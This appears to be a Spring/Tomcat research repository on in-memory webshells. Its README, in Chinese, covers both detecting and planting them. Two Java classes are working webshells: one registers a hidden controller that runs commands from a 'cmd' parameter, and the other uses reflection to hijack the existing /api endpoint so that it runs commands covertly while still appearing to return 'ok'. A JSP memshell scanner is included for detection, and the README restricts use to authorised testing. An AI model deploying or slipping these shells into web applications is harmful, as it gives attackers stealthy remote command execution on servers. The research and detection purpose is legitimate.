├── .gitattributes ├── .gitignore ├── README.md ├── pom.xml └── src └── main ├── java ├── com │ └── example │ │ └── spring │ │ ├── ApiController.java │ │ └── TestController.java └── exp │ ├── InjectToController.java │ └── InvisibleShell.java └── webapp ├── WEB-INF ├── applicationContext.xml ├── dispatcherServlet.xml ├── views │ └── scan.jsp └── web.xml └── index.jsp /.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=java 2 | *.css linguist-language=java 3 | *.html linguist-language=java 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Operating System Files 2 | 3 | *.DS_Store 4 | Thumbs.db 5 | *.sw? 6 | .#* 7 | *# 8 | *~ 9 | *.sublime-* 10 | 11 | # Build Artifacts 12 | 13 | .gradle/ 14 | build/ 15 | target/ 16 | bin/ 17 | dependency-reduced-pom.xml 18 | 19 | # Eclipse Project Files 20 | 21 | .classpath 22 | .project 23 | .settings/ 24 | 25 | # IntelliJ IDEA Files 26 | 27 | *.iml 28 | *.ipr 29 | *.iws 30 | *.idea -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spring内存马研究 2 | 3 | ## 介绍 4 | 一个基于`Tomcat`的`SpringMVC`项目 5 | 6 | 用`SpringBoot`来做应该也可以,没有尝试 7 | 8 | 该代码仅适用于当前版本的`Spring`和当前的环境 9 | 10 | ## 内存马检测 11 | 1. 访问`/mapping`查看已有的`mappings` 12 | 2. 访问`/test1`注册`Controller`内存马 13 | 3. 再次访问`/mapping`进行内存马检测 14 | 15 | ## 隐形马(劫持马) 16 | 1. 访问`/api`发现这是一个普通接口 17 | 2. 访问`/test2`注册隐藏内存马 18 | 3. 再次访问`/api`一切正常 19 | 4. 如果加上参数`/api?cmd=whoami`发现这是内存马 20 | 21 | ## 免责申明 22 | 23 | **未经授权许可使用本项目攻击目标是非法的** 24 | 25 | **本程序应仅用于授权的安全测试与研究目的** 26 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.example 8 | Spring 9 | 1.0-SNAPSHOT 10 | Spring 11 | war 12 | 13 | 14 | UTF-8 15 | 1.8 16 | 1.8 17 | 5.3.13 18 | 19 | 20 | 21 | 22 | org.springframework 23 | spring-core 24 | ${spring.version} 25 | 26 | 27 | org.springframework 28 | spring-web 29 | ${spring.version} 30 | 31 | 32 | org.springframework 33 | spring-oxm 34 | ${spring.version} 35 | 36 | 37 | org.springframework 38 | spring-tx 39 | ${spring.version} 40 | 41 | 42 | org.springframework 43 | spring-jdbc 44 | ${spring.version} 45 | 46 | 47 | org.springframework 48 | spring-webmvc 49 | ${spring.version} 50 | 51 | 52 | org.springframework 53 | spring-aop 54 | ${spring.version} 55 | 56 | 57 | org.springframework 58 | spring-context-support 59 | ${spring.version} 60 | 61 | 62 | org.springframework 63 | spring-test 64 | ${spring.version} 65 | 66 | 67 | javax.servlet 68 | javax.servlet-api 69 | 4.0.1 70 | provided 71 | 72 | 73 | javax.servlet 74 | jstl 75 | 1.2 76 | 77 | 78 | org.apache.tomcat 79 | tomcat-catalina 80 | 8.5.72 81 | 82 | 83 | 84 | 85 | 86 | 87 | org.apache.maven.plugins 88 | maven-war-plugin 89 | 3.3.1 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /src/main/java/com/example/spring/ApiController.java: -------------------------------------------------------------------------------- 1 | package com.example.spring; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class ApiController { 9 | @RequestMapping("/api") 10 | @ResponseBody 11 | public String scan(){ 12 | return "ok"; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/example/spring/TestController.java: -------------------------------------------------------------------------------- 1 | package com.example.spring; 2 | 3 | import exp.InvisibleShell; 4 | import exp.InjectToController; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | import org.springframework.web.context.WebApplicationContext; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.method.HandlerMethod; 11 | import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; 12 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 13 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 14 | 15 | import java.lang.reflect.Field; 16 | import java.util.ArrayList; 17 | import java.util.HashMap; 18 | import java.util.List; 19 | import java.util.Map; 20 | 21 | @Controller 22 | public class TestController { 23 | 24 | @RequestMapping("/mappings") 25 | @ResponseBody 26 | public String mappings(){ 27 | try { 28 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes() 29 | .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 30 | RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class); 31 | Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry"); 32 | _mappingRegistry.setAccessible(true); 33 | Object mappingRegistry = _mappingRegistry.get(rmhMapping); 34 | 35 | Field _registry = mappingRegistry.getClass().getDeclaredField("registry"); 36 | _registry.setAccessible(true); 37 | HashMap registry = (HashMap) _registry.get(mappingRegistry); 38 | 39 | Class[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses(); 40 | Class mappingRegistrationClazz = null; 41 | for (Class item : tempArray) { 42 | if (item.getName().equals( 43 | "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration" 44 | )) { 45 | mappingRegistrationClazz = item; 46 | } 47 | } 48 | 49 | StringBuilder sb = new StringBuilder(); 50 | sb.append("
");
51 |             sb.append("| path |").append("\t").append("\t").append("| info |").append("\n");
52 |             for(Map.Entry entry:registry.entrySet()){
53 |                 sb.append("--------------------------------------------");
54 |                 sb.append("\n");
55 |                 RequestMappingInfo key = (RequestMappingInfo) entry.getKey();
56 |                 List tempList = new ArrayList<>(key.getPatternsCondition().getPatterns());
57 |                 sb.append(tempList.get(0)).append("\t").append("-->").append("\t");
58 |                 Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
59 |                 _handlerMethod.setAccessible(true);
60 |                 HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
61 | 
62 |                 Field _desc = handlerMethod.getClass().getDeclaredField("description");
63 |                 _desc.setAccessible(true);
64 |                 String desc = (String) _desc.get(handlerMethod);
65 |                 sb.append(desc);
66 |                 sb.append("\n");
67 |             }
68 |             sb.append("
"); 69 | return sb.toString(); 70 | }catch (Exception e){ 71 | e.printStackTrace(); 72 | } 73 | return ""; 74 | } 75 | 76 | @RequestMapping("/test1") 77 | @ResponseBody 78 | public String test1() { 79 | try { 80 | new InjectToController(); 81 | }catch (Exception e){ 82 | e.printStackTrace(); 83 | } 84 | return "ok"; 85 | } 86 | 87 | @RequestMapping("/test2") 88 | @ResponseBody 89 | public String test2() { 90 | try { 91 | new InvisibleShell(); 92 | }catch (Exception e){ 93 | e.printStackTrace(); 94 | } 95 | return "ok"; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/exp/InjectToController.java: -------------------------------------------------------------------------------- 1 | package exp; 2 | 3 | import org.springframework.web.context.WebApplicationContext; 4 | import org.springframework.web.context.request.RequestContextHolder; 5 | import org.springframework.web.context.request.ServletRequestAttributes; 6 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; 7 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; 8 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 9 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.IOException; 13 | import java.io.PrintWriter; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Method; 16 | 17 | public class InjectToController { 18 | public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { 19 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 20 | RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); 21 | Method method2 = InjectToController.class.getMethod("test"); 22 | PatternsRequestCondition url = new PatternsRequestCondition("good"); 23 | RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); 24 | RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); 25 | InjectToController injectToController = new InjectToController("aaa"); 26 | mappingHandlerMapping.registerMapping(info, injectToController, method2); 27 | } 28 | public InjectToController(String aaa) {} 29 | 30 | public void test() throws IOException{ 31 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 32 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 33 | 34 | //exec 35 | try { 36 | String arg0 = request.getParameter("cmd"); 37 | PrintWriter writer = response.getWriter(); 38 | if (arg0 != null) { 39 | String o = ""; 40 | java.lang.ProcessBuilder p; 41 | if(System.getProperty("os.name").toLowerCase().contains("win")){ 42 | p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); 43 | }else{ 44 | p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); 45 | } 46 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); 47 | o = c.hasNext() ? c.next(): o; 48 | c.close(); 49 | writer.write(o); 50 | writer.flush(); 51 | writer.close(); 52 | }else{ 53 | response.sendError(404); 54 | } 55 | }catch (Exception e){} 56 | } 57 | } -------------------------------------------------------------------------------- /src/main/java/exp/InvisibleShell.java: -------------------------------------------------------------------------------- 1 | package exp; 2 | 3 | import org.springframework.core.MethodParameter; 4 | import org.springframework.web.context.WebApplicationContext; 5 | import org.springframework.web.context.request.RequestContextHolder; 6 | import org.springframework.web.context.request.ServletRequestAttributes; 7 | import org.springframework.web.method.HandlerMethod; 8 | import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; 9 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 10 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 11 | 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.IOException; 14 | import java.lang.reflect.Field; 15 | import java.lang.reflect.Method; 16 | import java.lang.reflect.Modifier; 17 | import java.util.HashMap; 18 | import java.util.Map; 19 | 20 | public class InvisibleShell { 21 | static final String targetPath = "/api"; 22 | static final String text = "ok"; 23 | 24 | public InvisibleShell() { 25 | try { 26 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes() 27 | .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 28 | RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class); 29 | 30 | Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry"); 31 | _mappingRegistry.setAccessible(true); 32 | Object mappingRegistry = _mappingRegistry.get(rmhMapping); 33 | 34 | Class[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses(); 35 | Class mappingRegistryClazz = null; 36 | Class mappingRegistrationClazz = null; 37 | for (Class item : tempArray) { 38 | if (item.getName().equals( 39 | "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry" 40 | )) { 41 | mappingRegistryClazz = item; 42 | } 43 | if (item.getName().equals( 44 | "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration" 45 | )) { 46 | mappingRegistrationClazz = item; 47 | } 48 | } 49 | if (mappingRegistryClazz != null) { 50 | Field _registry = mappingRegistryClazz.getDeclaredField("registry"); 51 | _registry.setAccessible(true); 52 | 53 | HashMap registry = 54 | (HashMap) _registry.get(mappingRegistry); 55 | Method targetMethod = InvisibleShell.class.getMethod("shell", String.class); 56 | 57 | for (Map.Entry entry : registry.entrySet()) { 58 | if (entry.getKey().getPatternsCondition().getPatterns().contains(targetPath)) { 59 | Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod"); 60 | _handlerMethod.setAccessible(true); 61 | HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue()); 62 | 63 | Field _tempMethod = handlerMethod.getClass().getDeclaredField("bridgedMethod"); 64 | _tempMethod.setAccessible(true); 65 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 66 | modifiersField.setAccessible(true); 67 | modifiersField.setInt(_tempMethod, _tempMethod.getModifiers() & ~Modifier.FINAL); 68 | 69 | _tempMethod.set(handlerMethod, targetMethod); 70 | 71 | Field _bean = handlerMethod.getClass().getDeclaredField("bean"); 72 | _bean.setAccessible(true); 73 | Field beanModifiersField = Field.class.getDeclaredField("modifiers"); 74 | beanModifiersField.setAccessible(true); 75 | beanModifiersField.setInt(_bean, _bean.getModifiers() & ~Modifier.FINAL); 76 | 77 | _bean.set(handlerMethod, new InvisibleShell("horse")); 78 | 79 | Field _parameters = handlerMethod.getClass().getDeclaredField("parameters"); 80 | _parameters.setAccessible(true); 81 | Field paramModifiersField = Field.class.getDeclaredField("modifiers"); 82 | paramModifiersField.setAccessible(true); 83 | paramModifiersField.setInt(_parameters, _parameters.getModifiers() & ~Modifier.FINAL); 84 | 85 | MethodParameter[] newParams = new MethodParameter[]{ 86 | new MethodParameter(targetMethod, 0)}; 87 | _parameters.set(handlerMethod, newParams); 88 | } 89 | } 90 | } 91 | } catch (Exception e) { 92 | e.printStackTrace(); 93 | } 94 | } 95 | 96 | public InvisibleShell(String name) { 97 | } 98 | 99 | public String shell(String cmd) throws IOException { 100 | HttpServletResponse response = ((ServletRequestAttributes) 101 | (RequestContextHolder.currentRequestAttributes())).getResponse(); 102 | try { 103 | if (cmd != null && !cmd.equals("")) { 104 | Process process = Runtime.getRuntime().exec(cmd); 105 | StringBuilder outStr = new StringBuilder(); 106 | outStr.append("
");
107 |                 java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
108 |                 java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
109 |                 String s = null;
110 |                 while ((s = stdInput.readLine()) != null) {
111 |                     outStr.append(s).append("\n");
112 |                 }
113 |                 outStr.append("
"); 114 | response.getWriter().print(outStr); 115 | return outStr.toString(); 116 | } else { 117 | response.getWriter().print(text); 118 | return text; 119 | } 120 | } catch (Exception ignored) { 121 | } 122 | response.getWriter().print(text); 123 | return text; 124 | } 125 | } -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/applicationContext.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/dispatcherServlet.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/views/scan.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.lang.reflect.Field" %> 3 | <%@ page import="java.util.HashMap" %> 4 | <%@ page import="com.sun.org.apache.bcel.internal.Repository" %> 5 | <%@ page import="java.net.URLEncoder" %> 6 | <%@ page import="java.util.Map" %> 7 | <%@ page import="org.apache.catalina.core.StandardWrapper" %> 8 | <%@ page import="java.lang.reflect.Method" %> 9 | <%@ page import="java.util.ArrayList" %> 10 | <%@ page import="java.util.List" %> 11 | <%@ page import="java.util.concurrent.CopyOnWriteArrayList" %> 12 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 13 | 14 | 15 | tomcat-memshell-killer 16 | 17 | 18 |
19 |
20 | <%! 21 | public Object getStandardContext(HttpServletRequest request) throws NoSuchFieldException, IllegalAccessException { 22 | Object context = request.getSession().getServletContext(); 23 | Field _context = context.getClass().getDeclaredField("context"); 24 | _context.setAccessible(true); 25 | Object appContext = _context.get(context); 26 | Field __context = appContext.getClass().getDeclaredField("context"); 27 | __context.setAccessible(true); 28 | Object standardContext = __context.get(appContext); 29 | return standardContext; 30 | } 31 | 32 | public HashMap getFilterConfig(HttpServletRequest request) throws Exception { 33 | Object standardContext = getStandardContext(request); 34 | Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); 35 | _filterConfigs.setAccessible(true); 36 | HashMap filterConfigs = (HashMap) _filterConfigs.get(standardContext); 37 | return filterConfigs; 38 | } 39 | 40 | // FilterMap[] 41 | public Object[] getFilterMaps(HttpServletRequest request) throws Exception { 42 | Object standardContext = getStandardContext(request); 43 | Field _filterMaps = standardContext.getClass().getDeclaredField("filterMaps"); 44 | _filterMaps.setAccessible(true); 45 | Object filterMaps = _filterMaps.get(standardContext); 46 | 47 | Object[] filterArray = null; 48 | try { // tomcat 789 49 | Field _array = filterMaps.getClass().getDeclaredField("array"); 50 | _array.setAccessible(true); 51 | filterArray = (Object[]) _array.get(filterMaps); 52 | } catch (Exception e) { // tomcat 6 53 | filterArray = (Object[]) filterMaps; 54 | } 55 | 56 | return filterArray; 57 | } 58 | 59 | /** 60 | * 遗留问题,getFilterConfig()依然存在2个 61 | * @param request 62 | * @param filterName 63 | * @throws Exception 64 | */ 65 | public synchronized void deleteFilter(HttpServletRequest request, String filterName) throws Exception { 66 | Object standardContext = getStandardContext(request); 67 | // org.apache.catalina.core.StandardContext#removeFilterDef 68 | HashMap filterConfig = getFilterConfig(request); 69 | Object appFilterConfig = filterConfig.get(filterName); 70 | Field _filterDef = appFilterConfig.getClass().getDeclaredField("filterDef"); 71 | _filterDef.setAccessible(true); 72 | Object filterDef = _filterDef.get(appFilterConfig); 73 | Class clsFilterDef = null; 74 | try { 75 | // Tomcat 8 76 | clsFilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 77 | } catch (Exception e) { 78 | // Tomcat 7 79 | clsFilterDef = Class.forName("org.apache.catalina.deploy.FilterDef"); 80 | } 81 | Method removeFilterDef = standardContext.getClass().getDeclaredMethod("removeFilterDef", new Class[]{clsFilterDef}); 82 | removeFilterDef.setAccessible(true); 83 | removeFilterDef.invoke(standardContext, filterDef); 84 | 85 | // org.apache.catalina.core.StandardContext#removeFilterMap 86 | Class clsFilterMap = null; 87 | try { 88 | // Tomcat 8 89 | clsFilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 90 | } catch (Exception e) { 91 | // Tomcat 7 92 | clsFilterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); 93 | } 94 | Object[] filterMaps = getFilterMaps(request); 95 | for (Object filterMap : filterMaps) { 96 | Field _filterName = filterMap.getClass().getDeclaredField("filterName"); 97 | _filterName.setAccessible(true); 98 | String filterName0 = (String) _filterName.get(filterMap); 99 | if (filterName0.equals(filterName)) { 100 | Method removeFilterMap = standardContext.getClass().getDeclaredMethod("removeFilterMap", new Class[]{clsFilterMap}); 101 | removeFilterDef.setAccessible(true); 102 | removeFilterMap.invoke(standardContext, filterMap); 103 | } 104 | } 105 | } 106 | 107 | public synchronized void deleteServlet(HttpServletRequest request, String servletName) throws Exception { 108 | HashMap childs = getChildren(request); 109 | Object objChild = childs.get(servletName); 110 | String urlPattern = null; 111 | HashMap servletMaps = getServletMaps(request); 112 | for (Map.Entry servletMap : servletMaps.entrySet()) { 113 | if (servletMap.getValue().equals(servletName)) { 114 | urlPattern = servletMap.getKey(); 115 | break; 116 | } 117 | } 118 | 119 | if (urlPattern != null) { 120 | // 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping 121 | Object standardContext = getStandardContext(request); 122 | Method removeServletMapping = standardContext.getClass().getDeclaredMethod("removeServletMapping", new Class[]{String.class}); 123 | removeServletMapping.setAccessible(true); 124 | removeServletMapping.invoke(standardContext, urlPattern); 125 | // Tomcat 6必须removeChild 789可以不用 126 | // 反射调用 org.apache.catalina.core.StandardContext#removeChild 127 | Method removeChild = standardContext.getClass().getDeclaredMethod("removeChild", new Class[]{org.apache.catalina.Container.class}); 128 | removeChild.setAccessible(true); 129 | removeChild.invoke(standardContext, objChild); 130 | } 131 | } 132 | 133 | public synchronized HashMap getChildren(HttpServletRequest request) throws Exception { 134 | Object standardContext = getStandardContext(request); 135 | Field _children = standardContext.getClass().getSuperclass().getDeclaredField("children"); 136 | _children.setAccessible(true); 137 | HashMap children = (HashMap) _children.get(standardContext); 138 | return children; 139 | } 140 | 141 | 142 | public synchronized HashMap getServletMaps(HttpServletRequest request) throws Exception { 143 | Object standardContext = getStandardContext(request); 144 | Field _servletMappings = standardContext.getClass().getDeclaredField("servletMappings"); 145 | _servletMappings.setAccessible(true); 146 | HashMap servletMappings = (HashMap) _servletMappings.get(standardContext); 147 | return servletMappings; 148 | } 149 | 150 | public synchronized List getListenerList(HttpServletRequest request) throws Exception { 151 | Object standardContext = getStandardContext(request); 152 | Field _listenersList = standardContext.getClass().getDeclaredField("applicationEventListenersList"); 153 | _listenersList.setAccessible(true); 154 | List listenerList = (CopyOnWriteArrayList) _listenersList.get(standardContext); 155 | return listenerList; 156 | } 157 | 158 | public String getFilterName(Object filterMap) throws Exception { 159 | Method getFilterName = filterMap.getClass().getDeclaredMethod("getFilterName"); 160 | getFilterName.setAccessible(true); 161 | return (String) getFilterName.invoke(filterMap, null); 162 | } 163 | 164 | public String[] getURLPatterns(Object filterMap) throws Exception { 165 | Method getFilterName = filterMap.getClass().getDeclaredMethod("getURLPatterns"); 166 | getFilterName.setAccessible(true); 167 | return (String[]) getFilterName.invoke(filterMap, null); 168 | } 169 | 170 | 171 | String classFileIsExists(Class clazz) { 172 | if (clazz == null) { 173 | return "class is null"; 174 | } 175 | 176 | String className = clazz.getName(); 177 | String classNamePath = className.replace(".", "/") + ".class"; 178 | URL is = clazz.getClassLoader().getResource(classNamePath); 179 | if (is == null) { 180 | return "在磁盘上没有对应class文件,可能是内存马"; 181 | } else { 182 | return is.getPath(); 183 | } 184 | } 185 | 186 | String arrayToString(String[] str) { 187 | String res = "["; 188 | for (String s : str) { 189 | res += String.format("%s,", s); 190 | } 191 | res = res.substring(0, res.length() - 1); 192 | res += "]"; 193 | return res; 194 | } 195 | %> 196 | 197 | <% 198 | out.write("

Tomcat memshell scanner 0.1.0

"); 199 | String action = request.getParameter("action"); 200 | String filterName = request.getParameter("filterName"); 201 | String servletName = request.getParameter("servletName"); 202 | String className = request.getParameter("className"); 203 | if (action != null && action.equals("kill") && filterName != null) { 204 | deleteFilter(request, filterName); 205 | } else if (action != null && action.equals("kill") && servletName != null) { 206 | deleteServlet(request, servletName); 207 | } else if (action != null && action.equals("dump") && className != null) { 208 | byte[] classBytes = Repository.lookupClass(Class.forName(className)).getBytes(); 209 | response.addHeader("content-Type", "application/octet-stream"); 210 | String filename = Class.forName(className).getSimpleName() + ".class"; 211 | 212 | String agent = request.getHeader("User-Agent"); 213 | if (agent.toLowerCase().indexOf("chrome") > 0) { 214 | response.addHeader("content-Disposition", "attachment;filename=" + new String(filename.getBytes("UTF-8"), "ISO8859-1")); 215 | } else { 216 | response.addHeader("content-Disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8")); 217 | } 218 | ServletOutputStream outDumper = response.getOutputStream(); 219 | outDumper.write(classBytes, 0, classBytes.length); 220 | outDumper.close(); 221 | } else { 222 | // Scan filter 223 | out.write("

Filter scan result

"); 224 | out.write("\n" + 225 | " \n" + 226 | " \n" + 227 | " \n" + 228 | " \n" + 229 | " \n" + 230 | " \n" + 231 | " \n" + 232 | " \n" + 233 | " \n" + 234 | " \n" + 235 | " "); 236 | 237 | HashMap filterConfigs = getFilterConfig(request); 238 | Object[] filterMaps1 = getFilterMaps(request); 239 | for (int i = 0; i < filterMaps1.length; i++) { 240 | out.write(""); 241 | Object fm = filterMaps1[i]; 242 | Object appFilterConfig = filterConfigs.get(getFilterName(fm)); 243 | if (appFilterConfig == null) { 244 | continue; 245 | } 246 | Field _filter = appFilterConfig.getClass().getDeclaredField("filter"); 247 | _filter.setAccessible(true); 248 | Object filter = _filter.get(appFilterConfig); 249 | String filterClassName = filter.getClass().getName(); 250 | String filterClassLoaderName = filter.getClass().getClassLoader().getClass().getName(); 251 | // ID Filtername 匹配路径 className classLoader 是否存在file dump kill 252 | out.write(String.format("" 253 | , i + 1 254 | , getFilterName(fm) 255 | , arrayToString(getURLPatterns(fm)) 256 | , filterClassName 257 | , filterClassLoaderName 258 | , classFileIsExists(filter.getClass()) 259 | , filterClassName 260 | , getFilterName(fm))); 261 | out.write(""); 262 | } 263 | out.write("
IDFilter namePaternFilter classFilter classLoaderFilter class file pathdump classkill
%d%s%s%s%s%sdumpkill
"); 264 | 265 | // Scan servlet 266 | out.write("

Servlet scan result

"); 267 | out.write("\n" + 268 | " \n" + 269 | " \n" + 270 | " \n" + 271 | " \n" + 272 | " \n" + 273 | " \n" + 274 | " \n" + 275 | " \n" + 276 | " \n" + 277 | " \n" + 278 | " "); 279 | 280 | HashMap children = getChildren(request); 281 | Map servletMappings = getServletMaps(request); 282 | 283 | int servletId = 0; 284 | for (Map.Entry map : servletMappings.entrySet()) { 285 | String servletMapPath = map.getKey(); 286 | String servletName1 = map.getValue(); 287 | StandardWrapper wrapper = (StandardWrapper) children.get(servletName1); 288 | 289 | Class servletClass = null; 290 | try { 291 | servletClass = Class.forName(wrapper.getServletClass()); 292 | } catch (Exception e) { 293 | Object servlet = wrapper.getServlet(); 294 | if (servlet != null) { 295 | servletClass = servlet.getClass(); 296 | } 297 | } 298 | if (servletClass != null) { 299 | out.write(""); 300 | String servletClassName = servletClass.getName(); 301 | String servletClassLoaderName = null; 302 | try { 303 | servletClassLoaderName = servletClass.getClassLoader().getClass().getName(); 304 | } catch (Exception e) { 305 | } 306 | out.write(String.format("" 307 | , servletId + 1 308 | , servletName1 309 | , servletMapPath 310 | , servletClassName 311 | , servletClassLoaderName 312 | , classFileIsExists(servletClass) 313 | , servletClassName 314 | , servletName1)); 315 | out.write(""); 316 | } 317 | servletId++; 318 | } 319 | out.write("
IDServlet namePaternServlet classServlet classLoaderServlet class file pathdump classkill
%d%s%s%s%s%sdumpkill
"); 320 | 321 | List listeners = getListenerList(request); 322 | if (listeners == null || listeners.size() == 0) { 323 | return; 324 | } 325 | out.write(""); 326 | List newListeners = new ArrayList<>(); 327 | for (Object o : listeners) { 328 | if (o instanceof ServletRequestListener) { 329 | newListeners.add((ServletRequestListener) o); 330 | } 331 | } 332 | 333 | // Scan listener 334 | out.write("

Listener scan result

"); 335 | out.write("\n" + 336 | " \n" + 337 | " \n" + 338 | " \n" + 339 | " \n" + 340 | " \n" + 341 | " \n" + 342 | " \n" + 343 | " \n" + 344 | " "); 345 | 346 | int index = 0; 347 | for (ServletRequestListener listener : newListeners) { 348 | out.write(""); 349 | out.write(String.format("" 350 | , index + 1 351 | , listener.getClass().getName() 352 | , listener.getClass().getClassLoader() 353 | , classFileIsExists(listener.getClass()) 354 | , listener.getClass().getName() 355 | , listener.getClass().getName())); 356 | out.write(""); 357 | index++; 358 | } 359 | out.write("
IDListener classListener classLoaderListener class file pathdump classkill
%d%s%s%sdumpkill
"); 360 | } 361 | %> 362 | 363 |
364 | code by c0ny1 365 | 366 | 367 | 368 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | springMVC 8 | org.springframework.web.servlet.DispatcherServlet 9 | 10 | contextConfigLocation 11 | /WEB-INF/dispatcherServlet.xml 12 | 13 | 1 14 | true 15 | 16 | 17 | springMVC 18 | / 19 | 20 | 21 | contextConfigLocation 22 | /WEB-INF/applicationContext.xml 23 | 24 | 25 | org.springframework.web.context.ContextLoaderListener 26 | 27 | -------------------------------------------------------------------------------- /src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> 2 | 3 | 4 | 5 | Spring Demo 6 | 7 | 8 | Memshell Scan 9 | 10 | --------------------------------------------------------------------------------